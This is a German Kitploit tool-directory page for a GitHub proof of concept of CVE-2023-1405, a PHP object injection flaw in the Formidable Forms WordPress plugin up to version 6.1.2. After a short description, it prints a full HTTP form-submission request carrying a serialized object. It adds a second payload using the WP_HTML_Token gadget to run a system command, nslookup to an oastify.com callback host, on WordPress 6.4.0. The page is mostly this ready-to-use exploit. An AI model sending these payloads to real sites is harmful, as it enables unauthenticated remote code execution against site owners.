Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-1405 — Formidable Forms <= 6.1.2 - Nicht authentifizierte PHP-Objekteinschleusung | Kitploit
Tools/GitHubGitHub/randomrobbiebf/cve-2023-1405
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubrandomrobbiebf/cve-2023-1405

CVE-2023-1405

Formidable Forms <= 6.1.2 - Nicht authentifizierte PHP-Objekteinschleusung

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-1405

Formidable Forms <= 6.1.2 - Nicht authentifizierte PHP-Objekt-Injektion

Beschreibung:

Das Formidable Forms Plugin für WordPress ist anfällig für PHP-Objekt-Injektion in Versionen bis einschließlich 6.1.2 durch Deserialisierung nicht vertrauenswürdiger Eingaben aus Formulareinsendungen. Dies ermöglicht nicht authentifizierten Angreifern, ein PHP-Objekt einzuschleusen. In dem anfälligen Plugin ist keine POP-Kette vorhanden. Falls eine POP-Kette über ein zusätzliches Plugin oder Theme auf dem Zielsystem vorhanden ist, könnte es dem Angreifer ermöglichen, beliebige Dateien zu löschen, sensible Daten abzurufen oder Code auszuführen.

root@kitploit:~
Type: plugin
CVSS Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2023-1405

POC

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form
Content-Type: multipart/form-data; boundary=---------------------------343242131629515258773021267392
Content-Length: 1871
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Priority: u=0, i

-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_action"

create
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="form_id"

1
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_hide_fields_1"


-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="form_key"

contact-form
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[0]"


-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_submit_entry_1"

5dc418e798
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[1]"

test
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[2]"

teasads
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[3]"

[email protected]
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[4]"

teasdsda
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[5]"

O:20:"PHP_Object_Injection":0:{}
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_key"


-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_verify"


-----------------------------343242131629515258773021267392--

Sie können auch dieses Payload verwenden O:13:"WP_HTML_Token":2:{s:13:"bookmark_name";s:53:"nslookup jj603shxad7lmfb20joe5vrjva11pudj.oastify.com";s:10:"on_destroy";s:6:"system";} für Wordpres 6.4.0

Tool herunterladen